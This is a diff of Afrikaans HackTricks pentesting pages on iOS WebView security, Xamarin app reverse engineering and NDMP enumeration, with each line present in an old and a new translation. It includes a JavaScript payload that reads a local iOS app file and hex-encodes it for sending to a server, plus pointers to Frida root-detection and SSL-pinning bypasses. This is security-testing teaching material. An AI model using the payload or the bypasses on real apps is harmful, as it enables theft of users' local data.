Met betrekking tot **lêertoegang** maak UIWebView dit universeel moontlik, terwyl WKWebView `allowFileAccessFromFileURLs` en `allowUniversalAccessFromFileURLs` instellings introduceer om toegang vanaf lêer-URL's te bestuur, waar beide standaard vals is.
|
||||
Betreffende **lêertoegang** laat UIWebView dit universeel toe, terwyl WKWebView `allowFileAccessFromFileURLs` en `allowUniversalAccessFromFileURLs` instellings bekendstel om toegang vanaf lêer-URL's te bestuur, met albei wat standaard op vals is.
|
||||
|
||||
'n Voorbeeld van 'n Frida-skripsie word verskaf om **WKWebView**-konfigurasies vir sekuriteitsinstellings te ondersoek:
|
||||
'n Frida-skripvoorbeeld word verskaf om **WKWebView** konfigurasies vir sekuriteitsinstellings te inspekteer:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
|
@ -162,7 +162,7 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
Laastens, 'n voorbeeld van 'n JavaScript-vraglas wat gemik is op die uitlek van plaaslike lêers, demonstreer die potensiële veiligheidsrisiko wat verband hou met verkeerd gekonfigureerde WebViews. Hierdie vraglas kodeer lêerinhoude na heksformaat voordat dit na 'n bediener gestuur word, wat die belangrikheid van streng veiligheidsmaatreëls in WebView-implementasies beklemtoon.
|
||||
Laastens demonstreer 'n voorbeeld van 'n JavaScript payload wat daarop gemik is om plaaslike lêers te exfiltreer, die potensiële sekuriteitsrisiko wat verband hou met onvanpaste geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na 'n bediener oorgedra word, wat die belangrikheid van streng sekuriteitsmaatreëls in WebView-implementasies beklemtoon.
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
|
@ -185,24 +185,24 @@ xhr2.send(null);
|
|||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## Inheemse Metodes Blootgestel deur WebViews
|
||||
## Native Methods Exposed Through WebViews
|
||||
|
||||
## Begrip van WebView Inheemse Koppelvlakke in iOS
|
||||
## Understanding WebView Native Interfaces in iOS
|
||||
|
||||
Vanaf iOS 7 het Apple API's verskaf vir **kommunikasie tussen JavaScript in 'n WebView en inheemse** Swift- of Objective-C-voorwerpe. Hierdie integrasie word hoofsaaklik gefasiliteer deur twee metodes:
|
||||
Vanaf iOS 7 het Apple API's verskaf vir **kommunikasie tussen JavaScript in 'n WebView en native** Swift of Objective-C objek. Hierdie integrasie word hoofsaaklik gefasiliteer deur twee metodes:
|
||||
|
||||
- **JSContext**: 'n JavaScript-funksie word outomaties geskep wanneer 'n Swift- of Objective-C-blok gekoppel word aan 'n identifiseerder binne 'n `JSContext`. Dit maak naadlose integrasie en kommunikasie tussen JavaScript en inheemse kode moontlik.
|
||||
- **JSExport-protokol**: Deur die `JSExport`-protokol te erf, kan inheemse eienskappe, instansiemetodes en klassemetodes aan JavaScript blootgestel word. Dit beteken dat enige veranderinge wat in die JavaScript-omgewing aangebring word, weerspieël word in die inheemse omgewing, en andersom. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie onbedoeld deur hierdie metode blootgestel word nie.
|
||||
- **JSContext**: 'n JavaScript-funksie word outomaties geskep wanneer 'n Swift of Objective-C blok aan 'n identifiseerder binne 'n `JSContext` gekoppel word. Dit stel naatlose integrasie en kommunikasie tussen JavaScript en native kode moontlik.
|
||||
- **JSExport Protocol**: Deur die `JSExport` protokol te erf, kan native eienskappe, instansiemetodes en klasmetodes aan JavaScript blootgestel word. Dit beteken enige veranderinge wat in die JavaScript-omgewing gemaak word, word in die native omgewing weerspieël, en omgekeerd. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie per ongeluk deur hierdie metode blootgestel word nie.
|
||||
|
||||
### Toegang tot `JSContext` in Objective-C
|
||||
### Accessing `JSContext` in Objective-C
|
||||
|
||||
In Objective-C kan die `JSContext` vir 'n `UIWebView` verkry word met die volgende lyn kode:
|
||||
In Objective-C kan die `JSContext` vir 'n `UIWebView` met die volgende lyn kode verkry word:
|
||||
```objc
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
### Kommunikasie met `WKWebView`
|
||||
|
||||
Vir `WKWebView` is direkte toegang tot `JSContext` nie beskikbaar nie. In plaas daarvan word boodskapstuur gebruik deur die `postMessage`-funksie, wat JavaScript in staat stel om met die inheemse toepassing te kommunikeer. Handlers vir hierdie boodskappe word so opgestel dat JavaScript veilig met die inheemse toepassing kan interaksie hê:
|
||||
Vir `WKWebView` is direkte toegang tot `JSContext` nie beskikbaar nie. In plaas daarvan word boodskap oordrag gebruik deur die `postMessage` funksie, wat JavaScript aan inheemse kommunikasie moontlik maak. Hanteerders vir hierdie boodskappe word soos volg opgestel, wat JavaScript in staat stel om veilig met die inheemse toepassing te kommunikeer:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
|
@ -217,7 +217,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
|||
```
|
||||
### Interaksie en Toetsing
|
||||
|
||||
JavaScript kan met die inheemse laag interaksie hê deur 'n skripsboodskaphanterer te definieer. Dit maak operasies soos die aanroep van inheemse funksies vanaf 'n webblad moontlik:
|
||||
JavaScript kan met die inheemse laag kommunikeer deur 'n skrip boodskaphandler te definieer. Dit stel operasies in staat soos om inheemse funksies vanaf 'n webblad aan te roep:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
|
@ -228,7 +228,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
|||
// Alternative method for calling exposed JavaScript functions
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Om die resultaat van 'n inheemse funksie-oproep vas te vang en te manipuleer, kan die terugroepfunksie binne die HTML oorskryf word:
|
||||
Om die resultaat van 'n inheemse funksie-oproep te vang en te manipuleer, kan 'n mens die terugroep funksie binne die HTML oorskry:
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
|
@ -239,7 +239,7 @@ alert(result);
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Die inheemse kant hanteer die JavaScript-oproep soos getoon in die `JavaScriptBridgeMessageHandler`-klas, waar die resultaat van operasies soos die vermenigvuldiging van getalle verwerk en terug na JavaScript gestuur word vir vertoning of verdere manipulasie:
|
||||
Die inheemse kant hanteer die JavaScript-oproep soos getoon in die `JavaScriptBridgeMessageHandler` klas, waar die resultaat van operasies soos die vermenigvuldiging van getalle verwerk en teruggestuur word na JavaScript vir vertoning of verdere manipulasie:
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
// Handling "multiplyNumbers" operation
|
||||
|
@ -254,38 +254,39 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
```
|
||||
## Debugging iOS WebViews
|
||||
|
||||
(Tutoriaal gebaseer op dié van [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
(Tutorial gebaseer op die een van [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
Om webinhoud binne iOS-webweergawes effektief te ontleed, is 'n spesifieke opset nodig wat betrekking het op Safari se ontwikkelertools, aangesien boodskappe wat na `console.log()` gestuur word nie in Xcode-logboeke vertoon word nie. Hier is 'n vereenvoudigde gids wat die sleutelstappe en vereistes beklemtoon:
|
||||
Om webinhoud binne iOS webviews effektief te debugeer, is 'n spesifieke opstelling wat Safari se ontwikkelaarshulpmiddels insluit, nodig omdat boodskappe wat na `console.log()` gestuur word, nie in Xcode-logs vertoon word nie. Hier is 'n vereenvoudigde gids, wat sleutelstappe en vereistes beklemtoon:
|
||||
|
||||
- **Voorbereiding op iOS-toestel**: Die Safari Web Inspector moet geaktiveer word op jou iOS-toestel. Dit word gedoen deur na **Instellings > Safari > Gevorderd** te gaan en die _Web Inspector_ te aktiveer.
|
||||
- **Voorbereiding op iOS-toestel**: Die Safari Web Inspector moet geaktiveer word op jou iOS-toestel. Dit word gedoen deur na **Instellings > Safari > Gevorderd** te gaan, en die _Web Inspector_ in te skakel.
|
||||
|
||||
- **Voorbereiding op macOS-toestel**: Op jou macOS-ontwikkelingsrekenaar moet jy ontwikkelertools in Safari aktiveer. Begin Safari, gaan na **Safari > Voorkeure > Gevorderd** en kies die opsie om die _Ontwikkel-menu te wys_.
|
||||
- **Voorbereiding op macOS-toestel**: Op jou macOS-ontwikkelingsmasjien moet jy ontwikkelaarshulpmiddels binne Safari inskakel. Begin Safari, toegang **Safari > Voorkeure > Gevorderd**, en kies die opsie om _Ontwikkel-menu te wys_.
|
||||
|
||||
- **Verbinding en ontleedwerk**: Nadat jy jou iOS-toestel aan jou macOS-rekenaar gekoppel het en jou toepassing begin het, gebruik Safari op jou macOS-toestel om die webweergawe wat jy wil ontleed, te kies. Navigeer na _Ontwikkel_ in Safari se menubalk, hou oor jou iOS-toestel se naam om 'n lys van webweergawe-eksemplare te sien, en kies die eksemplaar wat jy wil ondersoek. 'n Nuwe Safari Web Inspector-venster sal vir hierdie doel oopmaak.
|
||||
- **Verbinden en Debugeer**: Nadat jy jou iOS-toestel aan jou macOS-rekenaar gekoppel het en jou toepassing begin het, gebruik Safari op jou macOS-toestel om die webview te kies wat jy wil debugeer. Navigeer na _Ontwikkel_ in Safari se menubalk, beweeg oor die naam van jou iOS-toestel om 'n lys van webview-instanties te sien, en kies die instantie wat jy wil inspekteer. 'n Nuwe Safari Web Inspector-venster sal hiervoor oopmaak.
|
||||
|
||||
Wees egter bewus van die beperkings:
|
||||
|
||||
- Ontleedwerk met hierdie metode vereis 'n macOS-toestel aangesien dit afhanklik is van Safari.
|
||||
- Slegs webweergawes in toepassings wat deur Xcode op jou toestel gelaai is, is geskik vir ontleedwerk. Webweergawes in programme wat via die App Store of Apple Configurator geïnstalleer is, kan nie op hierdie manier ontleed word nie.
|
||||
- Debugeer met hierdie metode vereis 'n macOS-toestel aangesien dit op Safari staatmaak.
|
||||
- Slegs webviews in toepassings wat op jou toestel deur Xcode gelaai is, is geskik vir debuggings. Webviews in toepassings wat via die App Store of Apple Configurator geïnstalleer is, kan nie op hierdie manier gedebugeer word nie.
|
||||
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Hierdie is 'n opsomming van die blogpos [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
Dit is 'n opsomming van die blogpos [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
Xamarin is 'n **open-source platform** wat ontwikkel is vir ontwikkelaars om programme vir iOS, Android en Windows te bou met behulp van die .NET en C# raamwerke. Hierdie platform bied toegang tot verskeie gereedskap en uitbreidings om moderne toepassings doeltreffend te skep.
|
||||
Xamarin is 'n **oop-bron platform** ontwerp vir ontwikkelaars om **toepassings vir iOS, Android en Windows** te **bou** met behulp van die .NET en C# raamwerke. Hierdie platform bied toegang tot talle gereedskap en uitbreidings om moderne toepassings doeltreffend te skep.
|
||||
|
||||
### Xamarin se Argitektuur
|
||||
|
||||
- Vir **Android** integreer Xamarin met Android- en Java-naamruimtes deur .NET-bindings, wat binne die Mono-uitvoeringsomgewing saam met die Android Runtime (ART) werk. Managed Callable Wrappers (MCW) en Android Callable Wrappers (ACW) fasiliteer kommunikasie tussen Mono en ART, wat albei op die Linux-kernel gebaseer is.
|
||||
- Vir **iOS** loop programme onder die Mono-runtime en maak volledige Ahead of Time (AOT) samestelling gebruik om C# .NET-kode na ARM-assambleertaal om te skakel. Hierdie proses loop saam met die Objective-C Runtime op 'n UNIX-soortgelyke kernel.
|
||||
- Vir **Android** integreer Xamarin met Android en Java namespaces deur .NET bindings, wat werk binne die Mono uitvoeringsomgewing saam met die Android Runtime (ART). Managed Callable Wrappers (MCW) en Android Callable Wrappers (ACW) fasiliteer kommunikasie tussen Mono en ART, wat albei op die Linux-kern gebou is.
|
||||
- Vir **iOS** loop toepassings onder die Mono runtime, wat volle Ahead of Time (AOT) kompilering gebruik om C# .NET kode in ARM assembly taal om te skakel. Hierdie proses loop saam met die Objective-C Runtime op 'n UNIX-agtige kern.
|
||||
|
||||
### .NET Runtime en Mono Raamwerk
|
||||
|
||||
Die **.NET-raamwerk** sluit samestellings, klasse en naamruimtes vir toepassingsontwikkeling in, met die .NET Runtime wat kode-uitvoering bestuur. Dit bied platform-onafhanklikheid en agterwaartse versoenbaarheid. Die **Mono-raamwerk** is 'n open-source weergawe van die .NET-raamwerk, wat in 2005 begin is om .NET na Linux uit te brei, en word nou ondersteun deur Microsoft en gelei deur Xamarin.
|
||||
Die **.NET raamwerk** sluit assemblies, klasse en namespaces in vir toepassingsontwikkeling, met die .NET Runtime wat kode-uitvoering bestuur. Dit bied platformonafhanklikheid en agterwaartse kompatibiliteit. Die **Mono Raamwerk** is 'n oop-bron weergawe van die .NET raamwerk, wat in 2005 begin is om .NET na Linux uit te brei, nou deur Microsoft ondersteun en deur Xamarin gelei.
|
||||
|
||||
### Reverse Engineering van Xamarin Apps
|
||||
### Omgekeerde Ingenieurswese van Xamarin Toepassings
|
||||
|
||||
#### Decompilering van Xamarin-samestellings
|
||||
#### Decompilering van Xamarin Assemblies
|
||||
|
||||
Decompilering omskep saamgestelde kode terug na bronkode. In Windows kan die Modules-venster in Visual Studio modules identifiseer vir decompilering, wat direkte toegang tot derdeparty-kode en die onttrekking van bronkode vir analise moontlik maak.
|
||||
Decompilering transformeer gecompileerde kode terug na bronkode. In Windows kan die Modules venster in Visual Studio modules vir decompilering identifiseer, wat direkte toegang tot derdeparty kode moontlik maak en die ekstraksie van bronkode vir analise toelaat.
|
||||
|
||||
#### JIT vs AOT Samestelling
|
||||
#### JIT vs AOT Kompilering
|
||||
|
||||
- **Android** ondersteun Just-In-Time (JIT) en Ahead-Of-Time (AOT) samestelling, met 'n Hybrid AOT-modus vir optimale uitvoerspoed. Volledige AOT is eksklusief vir Enterprise-lisensies.
|
||||
- **iOS** gebruik slegs AOT-samestelling as gevolg van Apple se beperkings op dinamiese kode-uitvoering.
|
||||
- **Android** ondersteun Just-In-Time (JIT) en Ahead-Of-Time (AOT) kompilering, met 'n Hybride AOT-modus vir optimale uitvoeringsnelheid. Volle AOT is eksklusief vir Enterprise lisensies.
|
||||
- **iOS** gebruik slegs AOT kompilering weens Apple se beperkings op dinamiese kode-uitvoering.
|
||||
|
||||
### Onttrekking van dll-lêers uit APK/IPA
|
||||
### Uittreksel van dll Lêers uit APK/IPA
|
||||
|
||||
Om toegang te verkry tot die samestellings in 'n APK/IPA, pak die lêer uit en verken die samestellingsgids. Vir Android kan gereedskap soos [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) en [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) dll-lêers ontkomprimeer.
|
||||
Om toegang te verkry tot die assemblies in 'n APK/IPA, ontpak die lêer en verken die assemblies gids. Vir Android kan gereedskap soos [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) en [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) dll lêers ontcompress.
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Vir saamgestelde blobs in Android, kan [pyxamstore](https://github.com/jakev/pyxamstore) hulle uitpak.
|
||||
Vir samestelling blobbies in Android kan [pyxamstore](https://github.com/jakev/pyxamstore) dit ontpak.
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS dll-lêers is maklik toeganklik vir dekompilering, wat beduidende dele van die toepassingskode onthul, wat dikwels 'n gemeenskaplike basis deel oor verskillende platforms.
|
||||
iOS dll-lêers is maklik beskikbaar vir dekompilasie, wat beduidende dele van die toepassingskode onthul, wat dikwels 'n gemeenskaplike basis oor verskillende platforms deel.
|
||||
|
||||
### Dinamiese Analise
|
||||
|
||||
Dinamiese analise behels die nagaan van SSL-pinning en die gebruik van hulpmiddels soos [Fridax](https://github.com/NorthwaveSecurity/fridax) vir tydveranderinge van die .NET-binêre lêer in Xamarin-toepassings. Frida-skripte is beskikbaar om wortelopsporing of SSL-pinning te omseil en analise-vermoëns te verbeter.
|
||||
Dinamiese analise behels die kontrole van SSL-pinning en die gebruik van gereedskap soos [Fridax](https://github.com/NorthwaveSecurity/fridax) vir tydrenwysigings van die .NET-binary in Xamarin-apps. Frida-skripte is beskikbaar om worteldetektering of SSL-pinning te omseil, wat analise vermoëns verbeter.
|
||||
|
||||
Ander interessante Frida-skripte:
|
||||
|
||||
|
@ -62,21 +63,21 @@ Ander interessante Frida-skripte:
|
|||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
|
||||
## Verdere inligting
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Protokol Inligting**
|
||||
|
||||
Van [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||
|
||||
> **NDMP**, of **Network Data Management Protocol**, is 'n protokol wat bedoel is om data tussen netwerkaangehegte stoorplek \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) toestelle en [backup](https://en.wikipedia.org/wiki/Backup) toestelle te vervoer. Dit verwyder die behoefte om die data deur die rugsteunbediener self te vervoer, wat die spoed verbeter en die las van die rugsteunbediener verwyder.
|
||||
> **NDMP**, of **Netwerk Data Bestuur Protokol**, is 'n protokol wat bedoel is om data te vervoer tussen netwerk-aangestelde stoor \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) toestelle en [rugsteun](https://en.wikipedia.org/wiki/Backup) toestelle. Dit verwyder die behoefte om die data deur die rugsteun bediener self te vervoer, wat die spoed verbeter en die las van die rugsteun bediener verwyder.
|
||||
|
||||
**Verstekpoort:** 10000
|
||||
**Standaard poort:** 10000
|
||||
```text
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
||||
```
|
||||
# **Opsomming**
|
||||
|
||||
Enumeration is 'n belangrike fase in die pentesting-proses wat dit moontlik maak om inligting oor 'n teikenstelsel te versamel. Dit behels die identifisering van aktiewe dienste, poorte, gebruikers en ander relevante inligting wat kan help om 'n aanval te beplan.
|
||||
|
||||
## **Network Data Management Protocol (NDMP)**
|
||||
|
||||
Die Network Data Management Protocol (NDMP) is 'n protokol wat gebruik word vir die bestuur en beskerming van netwerkdata. Dit maak dit moontlik om data vanaf 'n netwerkstelsel na 'n sekondêre stoorplek te stuur, soos 'n bandeenheid of skyf.
|
||||
|
||||
### **NDMP Enumeration**
|
||||
|
||||
